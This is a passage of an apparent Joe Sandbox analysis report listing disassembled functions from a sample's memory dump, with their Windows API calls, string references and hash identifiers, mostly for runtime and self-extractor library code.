Instruction ID: be7db684d7f455369b32fc37c765c33cbfb9cb0603920bd965b5722051f6dcf3
Opcode Fuzzy Hash: 47a71bf7a0bf8709bb9eac468e1accc2f19e59440d582f3ceedf5ff5aa979101
Instruction Fuzzy Hash: E59106B19002059ADB30EF68CC85BBE7FE4EF54700F1045FAE699E7291DA789984CB54

Function 00B873AE Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00B82FC2,00B82FC2,?,?,?,00B875FF,00000001,00000001,F5E85006), ref: 00B87408
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00B875FF,00000001,00000001,F5E85006,?,?,?), ref: 00B8748E
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,F5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00B87588
__freea.LIBCMT ref: 00B87595

Part of subcall function 00B859FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B823AA,?,0000015D,?,?,?,?,00B82F29,000000FF,00000000,?,?), ref: 00B85A2E

__freea.LIBCMT ref: 00B8759E
__freea.LIBCMT ref: 00B875C3

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 898e988ab1bfcb4bd3b038ef13d832750811f9a59fff21fe50fb017ccef855ec
Instruction ID: a43a6f43dfd1fd3b2a41bd10a707b9ddcf3babe5570320a398252e17b14fe137
Opcode Fuzzy Hash: 898e988ab1bfcb4bd3b038ef13d832750811f9a59fff21fe50fb017ccef855ec
Instruction Fuzzy Hash: 99511072654216ABEB25AE64DC81EFF3BE9EB54718F2446A9FC04D6160EF34DC40C7A0

Function 00B79036 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B6F309: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00B6F324
Part of subcall function 00B6F309: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00B6DEC8,Crypt32.dll,?,00B6DF4A,?,00B6DF2E,?,?,?,?), ref: 00B6F346

OleInitialize.OLE32(00000000), ref: 00B7904F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00B79086
SHGetMalloc.SHELL32(00BA20E8), ref: 00B79090

Strings

riched20.dll, xrefs: 00B7903E
3Ro, xrefs: 00B79067

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: 113b25e7dd3fc93db463aa2c49d93bb223c0c68a261561a5d3c47b40393d6d00
Instruction ID: f5538c27cb32e02b79de1e391ecf15a7adf37b9715db0f12663d7a5f88df6da8
Opcode Fuzzy Hash: 113b25e7dd3fc93db463aa2c49d93bb223c0c68a261561a5d3c47b40393d6d00
Instruction Fuzzy Hash: 16F0E175900109ABC710AF9AD9499AEFFFCEB45711F00416BE414A2210DB745645CBA1

Function 00B6F9D1 Relevance: 7.5, APIs: 5, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B6FDC9: ResetEvent.KERNEL32(?,?,00B6F9F3,013C5D18,?,00BA1E74,00000000,00B8F79B,000000FF,000001B8,00B6FC8F,?,?,?,?,00B6A5A0), ref: 00B6FDE9
Part of subcall function 00B6FDC9: ReleaseSemaphore.KERNEL32(?,?,00000000,?,?,?,?,00B6A5A0,?,?,?,?,00B8F79B,000000FF), ref: 00B6FDFD

ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 00B6FA05
CloseHandle.KERNEL32(?,?), ref: 00B6FA1F
DeleteCriticalSection.KERNEL32(?), ref: 00B6FA38
CloseHandle.KERNELBASE(?), ref: 00B6FA44
CloseHandle.KERNEL32(?), ref: 00B6FA50

Part of subcall function 00B6FAC7: WaitForSingleObject.KERNEL32(?,000000FF,00B6FD0B,?,?,00B6FD80,?,?,?,?,?,00B6FD6A), ref: 00B6FACD
Part of subcall function 00B6FAC7: GetLastError.KERNEL32(?,?,00B6FD80,?,?,?,?,?,00B6FD6A), ref: 00B6FAD9

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 9f23a1253bf3a9f27360b58b54be9cae0ae8abe31922e6654fa3a3c07f215f28
Instruction ID: d33074f23395ef71fd06f906a62cba9793b6a1ce3bb78df4d8d04c7a95da52d1
Opcode Fuzzy Hash: 9f23a1253bf3a9f27360b58b54be9cae0ae8abe31922e6654fa3a3c07f215f28
Instruction Fuzzy Hash: C2015E32540749EFC721AB68EE85F96BBFAFF46710F00456AF29E92560CB756800CB61

Function 00B78FC8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00B78FDF
SHAutoComplete.SHLWAPI(?,00000010), ref: 00B79016

Part of subcall function 00B70B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00B6AC49,?,?,?,00B6ABF8,?,-00000002,?,00000000,?), ref: 00B70B28

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00B79006

Strings

EDIT, xrefs: 00B78FEA, 00B78FF5, 00B79002

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 90c70af600b0490578583eadd2c31cde4e841630fba216efceb9eb675c75a045
Instruction ID: 0af799e32dc6395e01e12a3271b2b3611d5fd5853906a2de25091a6c9584332b
Opcode Fuzzy Hash: 90c70af600b0490578583eadd2c31cde4e841630fba216efceb9eb675c75a045
Instruction Fuzzy Hash: ADF08932A1122C77EB3056659D05F9B76ACDB46B11F0441A6F904F3181D6609901C6E6

Function 00B7BE0A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00B7BE20
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00B7BE5C

Strings

sfxcmd, xrefs: 00B7BE1B
sfxpar, xrefs: 00B7BE57

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 11409fa1c55e7cf13932204d3f82742a3757d0cb1fe9053fa4c5f41abb574cd3
Instruction ID: 1af6a2a4748fd7cf8016dc04e53c5d9a00229b85e114e0416276c779cd42a750
Opcode Fuzzy Hash: 11409fa1c55e7cf13932204d3f82742a3757d0cb1fe9053fa4c5f41abb574cd3
Instruction Fuzzy Hash: B6F0A772811235ABDB212F948C49FF67BD8DF08B51B0044D6FD8CA6391DB649C40DBE1

Function 00B6973D Relevance: 6.1, APIs: 4, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,-00000001,00000000,?,00000000,?,?,00B6777A,?,00000005,?,00000011), ref: 00B697BD
GetLastError.KERNEL32(?,?,00B6777A,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00B697CA
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,00B6777A,?,00000005,?), ref: 00B697FF
GetLastError.KERNEL32(?,?,00B6777A,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00B69807

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: b356904eda1fb23039cf282142db18393c81620c389972a3c963330eb9764c05
Instruction ID: 9c0fe57cab53274ff45c2283cf205eb1f97551521cad6ae47f7b3bc241140141
Opcode Fuzzy Hash: b356904eda1fb23039cf282142db18393c81620c389972a3c963330eb9764c05
Instruction Fuzzy Hash: 1F3167718403556FE7209F349C05BEABBE8FB46364F10476AF9A0872D1D7799898CBD0

Function 00B69613 Relevance: 6.1, APIs: 4, Instructions: 57fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00B69623
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00B6963B
GetLastError.KERNEL32 ref: 00B6966D
GetLastError.KERNEL32 ref: 00B6968C

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 440d5a65a58d7af6008bf4423a0716d533848fb8fe8f73167ac0a71e126b0cbe
Instruction ID: 3fce178c5dbbe78c854e926271ceaf9760c9ff79ab5e9bdc4651697c7ae4fc15
Opcode Fuzzy Hash: 440d5a65a58d7af6008bf4423a0716d533848fb8fe8f73167ac0a71e126b0cbe
Instruction Fuzzy Hash: B7113C30910308EFDF246F65D944A6A77EDEB06331F1085AAF96A86290DB3D9D40DF51

Function 00B877D1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00B82213,00000000,00000000,?,00B87778,00B82213,00000000,00000000,00000000,?,00B87975,00000006,FlsSetValue), ref: 00B87803
GetLastError.KERNEL32(?,00B87778,00B82213,00000000,00000000,00000000,?,00B87975,00000006,FlsSetValue,00B93768,00B93770,00000000,00000364,?,00B863F1), ref: 00B8780F
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00B87778,00B82213,00000000,00000000,00000000,?,00B87975,00000006,FlsSetValue,00B93768,00B93770,00000000), ref: 00B8781D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: bed6efd1d68f57435e115f952c0658001d73cf23a6d7bb66c612bfaf8a6281a5
Instruction ID: fda172441b50c958b5ebc2a4194f94256f834efd6fa4b6fcf0ff73d7e6049e5a
Opcode Fuzzy Hash: bed6efd1d68f57435e115f952c0658001d73cf23a6d7bb66c612bfaf8a6281a5
Instruction Fuzzy Hash: 4701D8366692329BC7216B6AAC48E5A7BD8EF057A5B300661F906E7150DF20D800C7D0

Function 00B6FBB1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_0000FD61,?,00000000,00000000), ref: 00B6FBD5
SetThreadPriority.KERNEL32(?,00000000), ref: 00B6FC1C

Part of subcall function 00B66DD3: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B66DF1

Strings

CreateThread failed, xrefs: 00B6FBE1

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 36c0c4697ddf6bda66a462a5d4cd43311974cb40eda9dd08e8def3bf42fb717b
Instruction ID: 9465d928e44d39800f1b9df8ac2eb2136ea113526b825774f8614ddb0fcb6d0a
Opcode Fuzzy Hash: 36c0c4697ddf6bda66a462a5d4cd43311974cb40eda9dd08e8def3bf42fb717b
Instruction Fuzzy Hash: C401D67234430E6FD6206F68BC42F767BD9FB40711F1004BEF94293180CEA168018660

Function 00B69BC8 Relevance: 4.6, APIs: 3, Instructions: 96fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,00B6C853,00000001,?,?,?,00000000,00B7420B,?,?,?,?,?,00B73CB0), ref: 00B69BE3
WriteFile.KERNEL32(?,00000000,?,00B73EB8,00000000,?,?,00000000,00B7420B,?,?,?,?,?,00B73CB0,?), ref: 00B69C23
WriteFile.KERNELBASE(?,00000000,?,00B73EB8,00000000,?,00000001,?,?,00B6C853,00000001,?,?,?,00000000,00B7420B), ref: 00B69C50

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: a90cc4043ac8bb72cecb7071cf3ab91d1ccd7767faf4937d7614f0ce7da2f325
Instruction ID: 0b06731fcc28b698cfbdb2f4069e006edd7bab26aa66296b7a6d5d3c99cb2b6b
Opcode Fuzzy Hash: a90cc4043ac8bb72cecb7071cf3ab91d1ccd7767faf4937d7614f0ce7da2f325
Instruction Fuzzy Hash: EF310471148609AFDB209F18D848BAABBECFB50700F04416AF595932D0CB7DE858CBA1

Function 00B69E86 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00B69D92,?,00000001,00000000,?,?), ref: 00B69EAD
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00B69D92,?,00000001,00000000,?,?), ref: 00B69EE0
GetLastError.KERNEL32(?,?,?,?,00B69D92,?,00000001,00000000,?,?), ref: 00B69EFD

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: fbc3874d1ebe61eff20ce8c0f4dcdac11972604cb7fcbc4ddefb70dbb6c0da6b
Instruction ID: 93c8c25f511425855b6a637cf6c5f0fefe6ef16817a12ce36697d5dbd387bf19
Opcode Fuzzy Hash: fbc3874d1ebe61eff20ce8c0f4dcdac11972604cb7fcbc4ddefb70dbb6c0da6b
Instruction Fuzzy Hash: FB01B1321101186ADB21EA684C86FFE37DCDF0A741F0804E6F949D6491DB7E99859AE2

Function 00B63AA3 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B63AA8

Strings

CMT, xrefs: 00B63AB7

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: d4febf77275faff9025de2b337fc4488fd123dbd3e55bd9d89f14dc69e3c727b
Instruction ID: fe63566685a20f06407e0545ca158bc917d2b4cb323091f8eeefffe3f10220a1
Opcode Fuzzy Hash: d4febf77275faff9025de2b337fc4488fd123dbd3e55bd9d89f14dc69e3c727b
Instruction Fuzzy Hash: 4A61A271504F44AADB21DF74CC81AE7BBE8EF14701F4449AEE5AB87142DB3A6A48DF10

Function 00B882C3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00B882E8

Strings

, xrefs: 00B8832D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 1abcd104e4eef303a8927d85346d2355bbec8eccfb0aa9cde9ed08a1ede9f858
Instruction ID: e1524dcce469e9fa6ca10b7abc07f54297df3bcfa4d62a9bf2fde5a01c0dbdc1
Opcode Fuzzy Hash: 1abcd104e4eef303a8927d85346d2355bbec8eccfb0aa9cde9ed08a1ede9f858
Instruction Fuzzy Hash: CA415A715042489FDF229E248C84AFABBFAEF45704F9804EDE58A97152DA35AE45CF20

Function 00B61DA1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B61DA6

Part of subcall function 00B63AA3: __EH_prolog.LIBCMT ref: 00B63AA8

Strings

CMT, xrefs: 00B61DDC

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 135f9aad9215954bbd33baa3d140886fe1e4173bcd200eff056606612b9adf5b
Instruction ID: 27399127b38dea1fd5788b4a14eaa52090f79f7a2a961068172a90d48ccf587f
Opcode Fuzzy Hash: 135f9aad9215954bbd33baa3d140886fe1e4173bcd200eff056606612b9adf5b
Instruction Fuzzy Hash: E6212C769042099FCB15EF98D9419EEFBF6FF58300F1444AEE855A7261CB365E10CB60

Function 00B618FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B618FB

Strings

CMT, xrefs: 00B61974

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 21ea298fdb72a986e1b3d60570876d4e74abe337232a257fa42ab3f7b15b76f0
Instruction ID: 0dce6603c9408279c507b9c1175616e9a2dad3a691f232335bb031715073174d
Opcode Fuzzy Hash: 21ea298fdb72a986e1b3d60570876d4e74abe337232a257fa42ab3f7b15b76f0
Instruction Fuzzy Hash: A511E970A00201AFDB04DF69C4A59BFF7FAFF45300F0C48AAE41597281DB399952DBA0

Function 00B87A09 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,F5E85006,00000001,?,000000FF), ref: 00B87A7A

Strings

LCMapStringEx, xrefs: 00B87A1A, 00B87A24

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: a64abf009a12bdd58a25be07de724026c07c53d1870d249d062e725f2913f12e
Instruction ID: 074b35c153b162696d917ef22e73cf1463793d481c411011fcc50f5d8e9a3634
Opcode Fuzzy Hash: a64abf009a12bdd58a25be07de724026c07c53d1870d249d062e725f2913f12e
Instruction Fuzzy Hash: AC011376640209BBCF06AF90DC45EAE7FB2EF08750F104195FE1826171CA36DA31EB80

Function 00B879A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00B8709A), ref: 00B879F2

Strings

InitializeCriticalSectionEx, xrefs: 00B879C2

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

